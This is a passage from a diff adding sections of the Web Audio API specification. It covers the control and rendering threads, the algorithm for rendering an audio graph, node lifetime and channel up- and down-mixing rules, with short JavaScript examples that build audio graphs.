+<em>This section is non-normative.</em>
+
+Real-time audio systems that require low latency are often
+implemented using <em>callback functions</em>, where the operating
+system calls the program back when more audio has to be computed in
+order for the playback to stay uninterrupted. Such a callback is ideally called
+on a high priority thread (often the highest priority on the system).
+This means that a program that deals with audio only executes code
+from this callback. Crossing thread boundaries or adding some buffering between
+a rendering thread and the callback would naturally add latency or make the
+system less resilient to glitches.
+
+For this reason, the traditional way of executing asynchronous
+operations on the Web Platform, the event loop, does not work here,
+as the thread is not <em>continuously executing</em>. Additionally, a
+lot of unnecessary and potentially blocking operations are available
+from traditional execution contexts (Windows and Workers), which is
+not something that is desirable to reach an acceptable level of
+performance.
+
+Additionally, the Worker model makes creating a dedicated thread
+necessary for a script execution context, while all {{AudioNode}}s
+usually share the same execution context.
+
+Note: This section specifies how the end result should look like, not how
+it should be implemented. In particular, instead of using message
+queue, implementors can use memory that is shared between threads, as
+long as the memory operations are not reordered.
+
+<h3 id="control-thread-and-rendering-thread">
+Control Thread and Rendering Thread</h3>
+
+The Web Audio API MUST be implemented using a <a>control thread</a>,
+and a <a>rendering thread</a>.
+
+The <dfn>control thread</dfn> is the thread from which the
+{{AudioContext}} is instantiated, and from which authors
+manipulate the audio graph, that is, from where the operation on a
+{{BaseAudioContext}} are invoked. The <dfn>rendering thread</dfn>
+is the thread on which the actual audio output is computed, in
+reaction to the calls from the <a>control thread</a>. It can be a
+real-time, callback-based audio thread, if computing audio for an
+{{AudioContext}}, or a normal thread if computing audio for an {{OfflineAudioContext}}.
+
+The <a>control thread</a> uses a traditional event loop, as described
+in [[HTML]].
+
+The <a>rendering thread</a> uses a specialized rendering loop,
+described in the section <a href="#rendering-loop">Rendering an audio
+graph</a>
+
+Communication from the <a>control thread</a> to the <a>rendering
+thread</a> is done using <a>control message</a> passing.
+Communication in the other direction is done using regular event loop
+tasks.
+
+Each {{AudioContext}} has a single <dfn>control message
+queue</dfn> that is a list of <dfn lt="control message">control
+messages</dfn> that are operations running on the <a>rendering
+thread</a>.
+
+<dfn id="queuing" lt="queue a control message">Queuing a control message</dfn>
+means adding the message to the end of the <a>control message queue</a> of an
+{{BaseAudioContext}}.
+
+Note: For example, successfuly calling <code>start()</code> on an
+{{AudioBufferSourceNode}} <code>source</code> adds a <a>control
+message</a> to the <a href="#control-message-queue">control message
+queue</a> of the associated {{BaseAudioContext}}.
+
+<a>Control messages</a> in a <a>control message queue</a> are ordered
+by time of insertion. The <dfn>oldest message</dfn> is therefore the
+one at the front of the <a>control message queue</a>.
+
+<div algorithm="swapping control message queue">
+	<dfn lt="swap">Swapping</dfn> a <a>control message queue</a>
+	<var>Q<sub>A</sub></var> with another <a>control message queue</a>
+	<var>Q<sub>B</sub></var> means executing the following steps:
+
+	1. Let <var>Q<sub>C</sub></var> be a new, empty <a>control message
+		queue</a>.
+
+	2. Move all the <a>control messages</a> <var>Q<sub>A</sub></var> to
+		<var>Q<sub>C</sub></var>.
+
+	3. Move all the <a>control messages</a> <var>Q<sub>B</sub></var> to
+		<var>Q<sub>A</sub></var>.
+
+	4. Move all the <a>control messages</a> <var>Q<sub>C</sub></var> to
+		<var>Q<sub>B</sub></var>.
+</div>
+
+<h3 id="asynchronous-operations">
+Asynchronous Operations</h3>
+
+Calling methods on {{AudioNode}}s is effectively asynchronous, and
+MUST to be done in two phases: a synchronous part and an asynchronous
+part. For each method, some part of the execution happens on the
+<a>control thread</a> (for example, throwing an exception in case of
+invalid parameters), and some part happens on the <a>rendering
+thread</a> (for example, changing the value of an {{AudioParam}}).
+
+In the description of each operation on {{AudioNode}}s and
+{{BaseAudioContext}}s, the synchronous section is marked with a ⌛. All
+the other operations are executed <a href="https://html.spec.whatwg.org/multipage/infrastructure.html#in-parallel">
+in parallel</a>, as described in [[HTML]].
+
+The synchronous section is executed on the <a>control thread</a>, and
+happens immediately. If it fails, the method execution is aborted,
+possibly throwing an exception. If it succeeds, a <a>control
+message</a>, encoding the operation to be executed on the
+<a>rendering thread</a> is enqueued on the <a>control message
+queue</a> of this <a>rendering thread</a>.
+
+The synchronous and asynchronous sections order with respect to other
+events MUST be the same: given two operation <var>A</var> and
+<var>B</var> with respective synchronous and asynchronous section
+<var>A<sub>Sync</sub></var> and <var>A<sub>Async</sub></var>, and
+<var>B<sub>Sync</sub></var> and <var>B<sub>Async</sub></var>, if
+<var>A</var> happens before <var>B</var>, then
+<var>A<sub>Sync</sub></var> happens before
+<var>B<sub>Sync</sub></var>, and <var>A<sub>Async</sub></var> happens
+before <var>B<sub>Async</sub></var>. In other words, synchronous and
+asynchronous sections can't be reordered.
+
+<h3 id="rendering-loop">
+Rendering an Audio Graph</h3>
+
+Rendering an audio graph is done in blocks of 128 samples-frames. A
+block of 128 samples-frames is called a <dfn>render quantum</dfn>, and
+the <dfn>render quantum size</dfn> is 128.
+
+Operations that happen <dfn>atomically</dfn> on a
+given thread can only be executed when no other [=Atomically|atomic=]
+operation is running on another thread.
+
+The algorithm for rendering a block of audio from a {{BaseAudioContext}}
+<em>G</em> with a <a href="#control-message-queue">control message queue</a>
+<em>Q</em> is comprised of multiple steps and explained in further detail
+in the algorithm of <a href="#rendering-a-graph">rendering a graph</a>.
+
+<div class="note">
+	In practice, the {{AudioContext}} <a>rendering thread</a> is
+	often running off a system-level audio callback, that executes in
+	an isochronous fashion.
+
+	An {{OfflineAudioContext}} is not required to have a
+	system-level audio callback, but behaves as if it did with the
+	callback happening as soon as the previous callback is
+	finished.
+</div>
+
+The audio callback is also queued as a task in the <a
+href="#control-message-queue">control message queue</a>. The UA MUST perform
+the following algorithms to process render quanta to fulfill such task by
+filling up the requested buffer size. Along with the <a>control message
+queue</a>, each {{AudioContext}} has a regular <a
+href="https://html.spec.whatwg.org/multipage/webappapis.html#task-queue">task
+queue</a>, called its <dfn for="BaseAudioContext">associated task queue</dfn>
+for tasks that are posted to the rendering thread from the control thread. An
+additional microtask checkpoint is performed after processing a render quantum
+to run any microtasks that might have been queued during the execution of the
+`process` methods of {{AudioWorkletProcessor}}.
+
+All tasks posted from an {{AudioWorkletNode}} are posted to the [=associated
+task queue=] of its associated {{BaseAudioContext}}.
+
+<div id="rendering-initialization" algorithm="initialize rendering loop">
+	The following step MUST be performed once before the rendering loop starts.
+
+	1. Set the internal slot <dfn attribute
+		for="BaseAudioContext">[[current frame]]</dfn> of the
+		{{BaseAudioContext}} to 0. Also set {{BaseAudioContext/currentTime}} to 0.
+</div>
+
+<div id="rendering-a-graph" algorithm="rendering a graph">
+  The following steps MUST be performed when rendering a render quantum.
+
+	1. Let <var>render result</var> be <code>false</code>.
+
+	2. Process the [=control message queue=].
+
+		1. Let <var>Q<sub>rendering</sub></var> be an empty [=control message
+			queue=]. [=Atomically=] [=swap=] <var>Q<sub>rendering</sub></var>
+			with the current [=control message queue=].
+
+		2. While there are messages in <var>Q<sub>rendering</sub></var>, execute the
+			following steps:
+
+			1. Execute the asynchronous section of the [=oldest message=] of
+				<var>Q<sub>rendering</sub></var>.
+
+			2. Remove the [=oldest message=] of <var>Q<sub>rendering</sub></var>.
+
+
+	3. Process the {{BaseAudioContext}}'s [=associated task queue=].
+
+
+		1. Let <var>task queue</var> be the {{BaseAudioContext}}'s [=associated task queue=].
+		2. Let <var>task count</var> be the number of tasks in the in <var>task queue</var>
+		3. While <var>task count</var> is not equal to 0, execute the following steps:
+			1. Let <var>oldest task</var> be the first runnable task in <var>task queue</var>, and remove it from <var>task queue</var>.
+			2. Set the rendering loop's currently running task to <var>oldest task</var>.
+			3. Perform <var>oldest task</var>'s steps.
+			4. Set the rendering loop currently running task back to <code>null</code>.
+			6. Decrement <var>task count</var>
+			5. Perform a microtask checkpoint.
+
+	4. Process a render quantum.
+
+		1. If the {{[[rendering thread state]]}} of the {{BaseAudioContext}} is not
+			<code>running</code>, return false.
+
+		2. Order the {{AudioNode}}s of the {{BaseAudioContext}} to be processed.
+
+			1. Let <var>ordered node list</var> be an empty list of {{AudioNode}}s and
+				{{AudioListener}}. It will contain an ordered list of {{AudioNode}}s and
+				the {{AudioListener}} when this ordering algorithm terminates.
+
+			2. Let <var>nodes</var> be the set of all nodes created by this
+				{{BaseAudioContext}}, and still alive.
+
+			3. Add the {{AudioListener}} to <var>nodes</var>.
+
+			4. Let <var>cycle breakers</var> be an empty set of {{DelayNode}}s. It will
+				contain all the {{DelayNode}}s that are part of a cycle.
+
+			5. For each {{AudioNode}} <var>node</var> in <var>nodes</var>:
+
+				1. If <var>node</var> is a {{DelayNode}} that is part of a cycle, add it
+					to <var>cycle breakers</var> and remove it from <var>nodes</var>.
+
+			6. For each {{DelayNode}} <var>delay</var> in <var>cycle breakers</var>:
+
+				1. Let <var>delayWriter</var> and <var>delayReader</var> respectively be a
+						<a>DelayWriter</a> and a <a>DelayReader</a>, for <var>delay</var>.
+						Add <var>delayWriter</var> and <var>delayReader</var> to
+						<var>nodes</var>. Disconnect <var>delay</var> from all its input and
+						outputs.
+
+						Note: This breaks the cycle: if a <code>DelayNode</code> is in a
+						cycle, its two ends can be considered separately, because delay lines
+						cannot be smaller than one render quantum when in a cycle.
+
+			7. If <var>nodes</var> contains cycles, [=mute=] all the
+				{{AudioNode}}s that are part of this cycle, and remove them from
+				<var>nodes</var>.
+
+			8. Consider all elements in <var>nodes</var> to be unmarked. While there are unmarked elements in <var>nodes</var>:
+
+				1. Choose an element <var>node</var> in <var>nodes</var>.
+
+				2. [=Visit=] <var>node</var>.
+
+				<div algorithm="visiting a node">
+					<dfn lt="Visit">Visiting a node</dfn> means performing
+					the following steps:
+
+					1. If <var>node</var> is marked, abort these steps.
+
+					2. Mark <var>node</var>.
+
+					3. If <var>node</var> is an {{AudioNode}}, [=Visit=] each
+						{{AudioNode}} connected to the input of <var>node</var>.
+
+					4. For each {{AudioParam}} <var>param</var> of <var>node</var>:
+						1. For each {{AudioNode}} <var>param input node</var> connected to <var>param</var>:
+							1. [=Visit=] <var>param input node</var>
+
+					5. Add <var>node</var> to the beginning of <var ignore>ordered node list</var>.
+				</div>
+
+			9. Reverse the order of <var>ordered node list</var>.
+
+		4. [[#computation-of-value|Compute the value(s)]] of the
+			{{AudioListener}}'s {{AudioParam}}s for this block.
+
+		5. For each {{AudioNode}}, in <var>ordered node list</var>:
+
+			1. For each {{AudioParam}} of this {{AudioNode}}, execute these steps:
+
+				1. If this {{AudioParam}} has any {{AudioNode}} connected to it,
+					[[#channel-up-mixing-and-down-mixing|sum]] the buffers
+					[=Making a buffer available for reading|made available for reading=] by
+					all {{AudioNode}} connected to this {{AudioParam}},
+					[[#down-mix|down mix]] the resulting buffer down to a mono
+					channel, and call this buffer the <dfn id="input-audioparam-buffer">
+					input AudioParam buffer</dfn>.
+
+				2. [[#computation-of-value|Compute the value(s)]] of this
+					{{AudioParam}} for this block.
+
+				3. [=Queue a control message=] to set the {{[[current value]]}} slot
+					of this {{AudioParam}} according to [[#computation-of-value]].
+
+			2. If this {{AudioNode}} has any {{AudioNode}}s connected to its input,
+				[[#channel-up-mixing-and-down-mixing|sum]] the buffers
+				[=Making a buffer available for reading|made available for reading=] by all
+				{{AudioNode}}s connected to this {{AudioNode}}. The resulting buffer is
+				called the <dfn>input buffer</dfn>.
+				[[#channel-up-mixing-and-down-mixing|Up or down-mix]] it to
+				match if number of input channels of this {{AudioNode}}.
+
+			3. If this {{AudioNode}} is a <a>source node</a>,
+				[=Computing a block of audio|compute a block of audio=], and
+				[=Making a buffer available for reading|make it available for reading=].
+
+			4. If this {{AudioNode}} is an {{AudioWorkletNode}}, execute these substeps:
+
+				1. Let |processor| be the associated {{AudioWorkletProcessor}}
+					instance of {{AudioWorkletNode}}.
+
+				1. Let |O| be the ECMAScript object corresponding to |processor|.
+
+				1. Let |processCallback| be an uninitialized variable.
+
+				1. Let |completion| be an uninitialized variable.
+
+				1. [=Prepare to run script=] with the [=current settings object=].
+
+				1. [=Prepare to run a callback=] with the [=current settings object=].
+
+				1. Let |getResult| be
+					<a href="https://tc39.github.io/ecma262/#sec-get-o-p">
+					Get</a>(|O|, "process").
+
+				1. If |getResult| is an
+					<a href="https://tc39.github.io/ecma262/#sec-completion-record-specification-type">
+					abrupt completion</a>, set |completion| to |getResult| and jump to the step
+					labeled <a href="#audio-worklet-render-return">return</a>.
+
+				1. Set |processCallback| to |getResult|.\[[Value]].
+
+				1. If <a href="https://tc39.es/ecma262/#sec-returnifabrupt-shorthands">!</a>
+					<a href="https://tc39.es/ecma262/#sec-iscallable">
+					IsCallable</a>(|processCallback|) is `false`, then:
+
+					1. Set |completion| to new
+						<a href="https://tc39.es/ecma262/#sec-throwcompletion">Completion</a>
+						{\[[Type]]: throw, \[[Value]]: a newly created
+						<a href="https://tc39.es/ecma262/#sec-native-error-types-used-in-this-standard-typeerror">
+						TypeError</a> object, \[[Target]]: empty}.
+
+					1. Jump to the step labeled
+						<a href="#audio-worklet-render-return">return</a>.
+
+				1. Set {{[[callable process]]}} to `true`.
+
+				1. Perform the following substeps:
+
+					1. Let |args| be a
+						<a href="https://heycam.github.io/webidl/#web-idl-arguments-list">
+						Web IDL arguments list</a> consisting of
+						{{AudioWorkletProcessCallback/inputs}},
+						{{AudioWorkletProcessCallback/outputs}}, and
+						{{AudioWorkletProcessCallback/parameters}}.
+
+					1. Let |esArgs| be the result of
+						<a href="https://heycam.github.io/webidl/#web-idl-arguments-list-converting">
+						converting</a> |args| to an ECMAScript arguments list.
+
+					1. Let |callResult| be the <a href="https://tc39.github.io/ecma262/#sec-call">
+						Call</a>(|processCallback|, |O|, |esArgs|). This operation
+						[=Computing a block of audio|computes a block of audio=] with |esArgs|.
+						Upon a successful function call, a buffer containing copies of
+						the elements of the {{Float32Array}}s passed via the
+						{{AudioWorkletProcessCallback/outputs}} is
+						[=Making a buffer available for reading|made available for reading=].
+						Any {{Promise}} resolved within this call will be queued into the
+						microtask queue in the {{AudioWorkletGlobalScope}}.
+
+					1. If |callResult| is an
+						<a href="https://tc39.github.io/ecma262/#sec-completion-record-specification-type">
+						abrupt completion</a>, set |completion| to |callResult| and jump to the
+						step labeled <a href="#audio-worklet-render-return">return</a>.
+
+					1. Set |processor|’s <a>active source</a> flag to
+						<a href="https://tc39.github.io/ecma262/#sec-toboolean">
+						ToBoolean</a>(|callResult|.\[[Value]]).
+
+				1. <b id="audio-worklet-render-return">Return:</b> at this point |completion|
+					will be set to an ECMAScript
+					<a href="https://tc39.es/ecma262/#sec-completion-record-type-specification-type">completion</a> value.
+
+					1. [=Clean up after running a callback=] with the [=current settings object=].
+
+					1. [=Clean up after running script=] with the [=current settings object=].
+
+					1. If |completion| is an
+						<a href="https://tc39.github.io/ecma262/#sec-completion-record-specification-type">
+						abrupt completion</a>:
+
+						1. Set {{[[callable process]]}} to `false`.
+
+						1. Set |processor|'s <a>active source</a> flag to `false`.
+
+						1. [=Making a buffer available for reading|Make a silent output buffer available for reading=].
+
+						1. <a>Queue a task</a> to the <a>control thread</a>
+							<a spec="dom" lt="fire an event">fire</a> an
+							{{ErrorEvent}} named <code>processorerror</code> at the
+							associated {{AudioWorkletNode}}.
+
+			5. If this {{AudioNode}} is a <a>destination node</a>,
+				[=Recording the input|record the input=] of this {{AudioNode}}.
+
+			6. Else, [=processing-input-buffer|process=] the <a>input buffer</a>, and
+				[=Making a buffer available for reading|make available for reading=] the
+				resulting buffer.
+
+		6. [=Atomically=] perform the following steps:
+
+			1. Increment {{[[current frame]]}} by the [=render quantum size=].
+
+			2. Set {{BaseAudioContext/currentTime}} to {{[[current frame]]}} divided
+				by {{BaseAudioContext/sampleRate}}.
+
+		7. Set <var>render result</var> to <code>true</code>.
+
+	5. [=Perform a microtask checkpoint=].
+
+	6. Return <var>render result</var>.
+</div>
+
+<dfn id="mute">Muting</dfn> an {{AudioNode}} means that its
+output MUST be silence for the rendering of this audio block.
+
+<dfn id="available-for-reading">Making a buffer available for reading</dfn>
+from an {{AudioNode}} means putting it in a state where other
+{{AudioNode}}s connected to this {{AudioNode}} can safely
+read from it.
+
+Note: For example, implementations can choose to allocate a new buffer,
+or have a more elaborate mechanism, reusing an existing buffer
+that is now unused.
+
+<dfn>Recording the input</dfn> of an {{AudioNode}}
+means copying the input data of this {{AudioNode}} for future
+usage.
+
+<dfn>Computing a block of audio</dfn> means
+running the algorithm for this {{AudioNode}} to produce 128
+sample-frames.
+
+<dfn lt="processing-input-buffer">Processing an input buffer</dfn> means
+running the algorithm for an {{AudioNode}}, using an <a>input
+buffer</a> and the value(s) of the {{AudioParam}}(s) of this
+{{AudioNode}} as the input for this algorithm.
+
+<h3 id="unloading-a-document">Unloading a document</h3>
+	Additional <a href=
+	"https://html.spec.whatwg.org/#unloading-document-cleanup-steps">unloading
+	document cleanup steps</a> are defined for documents that use
+	{{BaseAudioContext}}:
+
+1. Reject all the promises of {{BaseAudioContext/[[pending promises]]}} with
+	<code>InvalidStateError</code>, for each {{AudioContext}} and
+	{{OfflineAudioContext}} whose relevant global object is the same as
+	the document's associated Window.
+2. Stop all {{decoding thread}}s.
+3. <a>Queue a control message</a> to {{AudioContext/close()}} the
+	{{AudioContext}} or {{OfflineAudioContext}}.
+
+<h2 id="DynamicLifetime">
+Dynamic Lifetime</h2>
+
+<h3 id="dynamic-lifetime-background" class="informative">
+Background</h3>
+
+Note: The normative description of {{AudioContext}} and {{AudioNode}} lifetime characteristics is
+	described by the <a href="#lifetime-AudioContext">AudioContext lifetime</a> and <a
+	href="#AudioNode-actively-processing">AudioNode lifetime</a>.
+
+<em>This section is non-normative.</em>
+
+In addition to allowing the creation of static routing
+configurations, it should also be possible to do custom effect
+routing on dynamically allocated voices which have a limited
+lifetime. For the purposes of this discussion, let's call these
+short-lived voices "notes". Many audio applications incorporate the
+ideas of notes, examples being drum machines, sequencers, and 3D
+games with many one-shot sounds being triggered according to game
+play.
+
+In a traditional software synthesizer, notes are dynamically
+allocated and released from a pool of available resources. The note
+is allocated when a MIDI note-on message is received. It is released
+when the note has finished playing either due to it having reached
+the end of its sample-data (if non-looping), it having reached a
+sustain phase of its envelope which is zero, or due to a MIDI
+note-off message putting it into the release phase of its envelope.
+In the MIDI note-off case, the note is not released immediately, but
+only when the release envelope phase has finished. At any given time,
+there can be a large number of notes playing but the set of notes is
+constantly changing as new notes are added into the routing graph,
+and old ones are released.
+
+The audio system automatically deals with tearing-down the part of
+the routing graph for individual "note" events. A "note" is
+represented by an {{AudioBufferSourceNode}}, which
+can be directly connected to other processing nodes. When the note
+has finished playing, the context will automatically release the
+reference to the {{AudioBufferSourceNode}}, which in
+turn will release references to any nodes it is connected to, and so
+on. The nodes will automatically get disconnected from the graph and
+will be deleted when they have no more references. Nodes in the graph
+which are long-lived and shared between dynamic voices can be managed
+explicitly. Although it sounds complicated, this all happens
+automatically with no extra handling required.
+
+<h3 id="dynamic-lifetime-example">
+Example</h3>
+
+<figure>
+	<img alt="dynamic allocation" src="images/dynamic-allocation.png"
+	width="671" height="221">
+	<figcaption>
+		A graph featuring a subgraph that will be releases early.
+	</figcaption>
+</figure>
+
+The low-pass filter, panner, and second gain nodes are directly
+connected from the one-shot sound. So when it has finished playing
+the context will automatically release them (everything within the
+dotted line). If there are no longer any references to the one-shot
+sound and connected nodes, then they will be immediately removed from
+the graph and deleted. The streaming source has a global reference
+and will remain connected until it is explicitly disconnected. Here's
+how it might look in JavaScript:
+
+<pre line-numbers class="example" highlight="js">
+let context = 0;
+let compressor = 0;
+let gainNode1 = 0;
+let streamingAudioSource = 0;
+
+// Initial setup of the "long-lived" part of the routing graph
+function setupAudioContext() {
+		context = new AudioContext();
+
+		compressor = context.createDynamicsCompressor();
+		gainNode1 = context.createGain();
+
+		// Create a streaming audio source.
+		const audioElement = document.getElementById('audioTagID');
+		streamingAudioSource = context.createMediaElementSource(audioElement);
+		streamingAudioSource.connect(gainNode1);
+
+		gainNode1.connect(compressor);
+		compressor.connect(context.destination);
+}
+
+// Later in response to some user action (typically mouse or key event)
+// a one-shot sound can be played.
+function playSound() {
+		const oneShotSound = context.createBufferSource();
+		oneShotSound.buffer = dogBarkingBuffer;
+
+		// Create a filter, panner, and gain node.
+		const lowpass = context.createBiquadFilter();
+		const panner = context.createPanner();
+		const gainNode2 = context.createGain();
+
+		// Make connections
+		oneShotSound.connect(lowpass);
+		lowpass.connect(panner);
+		panner.connect(gainNode2);
+		gainNode2.connect(compressor);
+
+		// Play 0.75 seconds from now (to play immediately pass in 0)
+		oneShotSound.start(context.currentTime + 0.75);
+}
+</pre>
+
+<h2 id="channel-up-mixing-and-down-mixing">
+Channel Up-Mixing and Down-Mixing</h2>
+
+<em>This section is normative.</em>
+
+An AudioNode input has <dfn dfn>mixing rules</dfn> for combining the channels from all
+of the connections to it. As a simple example, if an input is connected
+from a mono output and a stereo output, then the mono connection will
+usually be up-mixed to stereo and summed with the stereo connection.
+But, of course, it's important to define the exact <a>mixing
+rules</a> for every input to every {{AudioNode}}. The
+default mixing rules for all of the inputs have been chosen so that
+things "just work" without worrying too much about the details,
+especially in the very common case of mono and stereo streams. Of
+course, the rules can be changed for advanced use cases, especially
+multi-channel.
+
+To define some terms, <dfn dfn>up-mixing</dfn> refers to the process of
+taking a stream with a smaller number of channels and converting it to
+a stream with a larger number of channels. <dfn dfn>down-mixing</dfn> refers
+to the process of taking a stream with a larger number of channels and
+converting it to a stream with a smaller number of channels.
+
+An {{AudioNode}} input needs to mix all the outputs
+connected to this input. As part of this process it computes an
+internal value <a>computedNumberOfChannels</a> representing the actual
+number of channels of the input at any given time.
+
+<div algorithm="channel mixing">
+	For each input of an {{AudioNode}}, an implementation
+	MUST:
+
+	1. Compute <a>computedNumberOfChannels</a>.
+
+	2. For each connection to the input:
+
+		1. [=up-mix=] or [=down-mix=] the connection to
+			<a>computedNumberOfChannels</a> according to the
+			{{ChannelInterpretation}}
+			value given by the node's {{AudioNode/channelInterpretation}} attribute.
+
+		2. Mix it together with all of the other mixed streams (from other
+			connections). This is a straight-forward summing together of each of
+			the corresponding channels that have been
+			[=up-mix|up-mixed=] or [=down-mix|down-mixed=]
+			in step 1 for each connection.  </div>
+
+<h3 id="ChannelLayouts">
+Speaker Channel Layouts</h3>
+
+When {{AudioNode/channelInterpretation}} is
+"{{ChannelInterpretation/speakers}}" then the
+[=up-mix|up-mixing=] and [=down-mix|down-mixing=] is defined for specific channel layouts.
+
+Mono (one channel), stereo (two channels), quad (four channels), and
+5.1 (six channels) MUST be supported. Other channel layouts may be
+supported in future version of this specification.
+
+<h3 id="ChannelOrdering">
+Channel Ordering</h3>
+
+Channel ordering is defined by the following table. Individual
+multichannel formats MAY not support all intermediate channels.
+Implementations MUST present the channels provided in the order
+defined below, skipping over those channels not present.
+
+<table class="channels">
+	<thead>
+		<tr>
+			<th scope="col">Order
+			<th scope="col">Label
+			<th scope="col">Mono
+			<th scope="col">Stereo
+			<th scope="col">Quad
+			<th scope="col">5.1
+	<tbody>
+		<tr><td>0 <td>SPEAKER_FRONT_LEFT <td>0 <td>0 <td>0 <td>0
+		<tr><td>1 <td>SPEAKER_FRONT_RIGHT <td> <td>1 <td>1 <td>1
+		<tr><td>2 <td>SPEAKER_FRONT_CENTER <td> <td> <td> <td>2
+		<tr><td>3 <td>SPEAKER_LOW_FREQUENCY <td> <td> <td> <td>3
+		<tr><td>4 <td>SPEAKER_BACK_LEFT <td> <td> <td>2 <td>4
+		<tr><td>5 <td>SPEAKER_BACK_RIGHT <td> <td> <td>3 <td>5
+		<tr><td>6 <td>SPEAKER_FRONT_LEFT_OF_CENTER <td> <td> <td> <td>
+		<tr><td>7 <td>SPEAKER_FRONT_RIGHT_OF_CENTER <td> <td> <td> <td>
+		<tr><td>8 <td>SPEAKER_BACK_CENTER <td> <td> <td> <td>
+		<tr><td>9 <td>SPEAKER_SIDE_LEFT <td> <td> <td> <td>
+		<tr><td>10 <td>SPEAKER_SIDE_RIGHT <td> <td> <td> <td>
+		<tr><td>11 <td>SPEAKER_TOP_CENTER <td> <td> <td> <td>
+		<tr><td>12 <td>SPEAKER_TOP_FRONT_LEFT <td> <td> <td> <td>
+		<tr><td>13 <td>SPEAKER_TOP_FRONT_CENTER <td> <td> <td> <td>
+		<tr><td>14 <td>SPEAKER_TOP_FRONT_RIGHT <td> <td> <td> <td>
+		<tr><td>15 <td>SPEAKER_TOP_BACK_LEFT <td> <td> <td> <td>
+		<tr><td>16 <td>SPEAKER_TOP_BACK_CENTER <td> <td> <td> <td>
+		<tr><td>17 <td>SPEAKER_TOP_BACK_RIGHT <td> <td> <td> <td>
+</table>
+
+<h3 id="channels-tail-time">
+Implication of tail-time on input and output channel count</h3>
+
+When an {{AudioNode}} has a non-zero <a>tail-time</a>, and an output channel
+count that depends on the input channels count, the {{AudioNode}}'s
+<a>tail-time</a> must be taken into account when the input channel count
+changes.
+
+When there is a decrease in input channel count, the change in output channel
+count MUST happen when the input that was received with greater channel count no
+longer affects the output.
+
+When there is an increase in input channel count, the behavior depends on the
+{{AudioNode}} type:
+
+- For a {{DelayNode}} or a {{DynamicsCompressorNode}}, the number of output
+	channels MUST increase when the input that was received with greater channel
+	count begins to affect the output.
+
+- For other {{AudioNode}}s that have a <a>tail-time</a>, the number of output
+	channels MUST increase immediately.
+
+	Note: For a {{ConvolverNode}}, this only applies to the case where the impulse
+	response is mono. Otherwise, the {{ConvolverNode}} always outputs a stereo
+	signal regardless of its input channel count.
+
+Note: Intuitively, this allows not losing stereo information as part of
+processing: when multiple input render quanta of different channel count
+contribute to an output render quantum then the output render quantum's channel
+count is a superset of the input channel count of the input render quantums.
+
+<h3 id="UpMix-sub">
+Up Mixing Speaker Layouts</h3>
+
+<pre>
+Mono up-mix:
+
+	1 -&gt; 2 : up-mix from mono to stereo
+		output.L = input;
+		output.R = input;
+
+	1 -&gt; 4 : up-mix from mono to quad
+		output.L = input;
+		output.R = input;
+		output.SL = 0;
+		output.SR = 0;
+
+	1 -&gt; 5.1 : up-mix from mono to 5.1
+		output.L = 0;
+		output.R = 0;
+		output.C = input; // put in center channel
+		output.LFE = 0;
+		output.SL = 0;
+		output.SR = 0;
+
+Stereo up-mix:
+
+	2 -&gt; 4 : up-mix from stereo to quad
+		output.L = input.L;
+		output.R = input.R;
+		output.SL = 0;
+		output.SR = 0;
+
+	2 -&gt; 5.1 : up-mix from stereo to 5.1
+		output.L = input.L;
+		output.R = input.R;
+		output.C = 0;
+		output.LFE = 0;
+		output.SL = 0;
+		output.SR = 0;
+
+Quad up-mix:
+
+	4 -&gt; 5.1 : up-mix from quad to 5.1
+		output.L = input.L;
+		output.R = input.R;
+		output.C = 0;
+		output.LFE = 0;
+		output.SL = input.SL;
+		output.SR = input.SR;
+</pre>
+
+<h3 id="down-mix">
+Down Mixing Speaker Layouts</h3>
+
+A down-mix will be necessary, for example, if processing 5.1 source
+material, but playing back stereo.
+
+<pre>
+Mono down-mix:
+
+	2 -&gt; 1 : stereo to mono
+		output = 0.5 * (input.L + input.R);
+
+	4 -&gt; 1 : quad to mono
+		output = 0.25 * (input.L + input.R + input.SL + input.SR);
+
+	5.1 -&gt; 1 : 5.1 to mono
+		output = sqrt(0.5) * (input.L + input.R) + input.C + 0.5 * (input.SL + input.SR)
+
+Stereo down-mix:
+
+	4 -&gt; 2 : quad to stereo
+		output.L = 0.5 * (input.L + input.SL);
+		output.R = 0.5 * (input.R + input.SR);
+
+	5.1 -&gt; 2 : 5.1 to stereo
+		output.L = L + sqrt(0.5) * (input.C + input.SL)
+		output.R = R + sqrt(0.5) * (input.C + input.SR)
+
+Quad down-mix:
+
+	5.1 -&gt; 4 : 5.1 to quad
+		output.L = L + sqrt(0.5) * input.C
+		output.R = R + sqrt(0.5) * input.C
+		output.SL = input.SL
+		output.SR = input.SR
+</pre>
+
+<h3 id="ChannelRules-section">
+Channel Rules Examples</h3>
+
+<pre line-numbers class="example" highlight="js">
+	// Set gain node to explicit 2-channels (stereo).
+	gain.channelCount = 2;
+	gain.channelCountMode = "explicit";
+	gain.channelInterpretation = "speakers";
+
+	// Set "hardware output" to 4-channels for DJ-app with two stereo output busses.
+	context.destination.channelCount = 4;
+	context.destination.channelCountMode = "explicit";
+	context.destination.channelInterpretation = "discrete";
+
+	// Set "hardware output" to 8-channels for custom multi-channel speaker array
+	// with custom matrix mixing.
+	context.destination.channelCount = 8;
+	context.destination.channelCountMode = "explicit";
+	context.destination.channelInterpretation = "discrete";
+
+	// Set "hardware output" to 5.1 to play an HTMLAudioElement.
+	context.destination.channelCount = 6;
+	context.destination.channelCountMode = "explicit";
+	context.destination.channelInterpretation = "speakers";
+
+	// Explicitly down-mix to mono.
+	gain.channelCount = 1;
+	gain.channelCountMode = "explicit";
+	gain.channelInterpretation = "speakers";
+</pre>
+
+<h2 id="audio-signal-values">
+Audio Signal Values</h2>
+
+<h3 id="audio-sample-format">
+Audio sample format</h3>
+
+<dfn lt="linear PCM">Linear pulse code modulation</dfn> (linear PCM) describes a
+format where the audio values are sampled at a regular interval, and where the
+quantization levels between two successive values are linearly uniform.
+
+Whenever signal values are exposed to script in this specification, they are in
+linear 32-bit floating point pulse code modulation format (linear 32-bit float
+PCM), often in the form of {{Float32Array}} objects.
+
+<h3 id="audio-values-rendering">
+Rendering</h3>
+
+The range of all audio signals at a destination node of any audio graph
+is nominally [-1, 1]. The audio rendition of signal values outside this
+range, or of the values <code>NaN</code>, positive infinity or negative
+infinity, is undefined by this specification.
+
+
+<h2 id="Spatialization">
+Spatialization/Panning</h2>
+
+<h3 id="Spatialization-background">
+Background</h3>
+
+A common feature requirement for modern 3D games is the ability to
+dynamically spatialize and move multiple audio sources in 3D space.
+For example <a href="https://openal.org">OpenAL</a> has this ability.
+
+Using a {{PannerNode}}, an audio stream can be
+spatialized or positioned in space relative to an
+{{AudioListener}}. A
+{{BaseAudioContext}} will contain a single
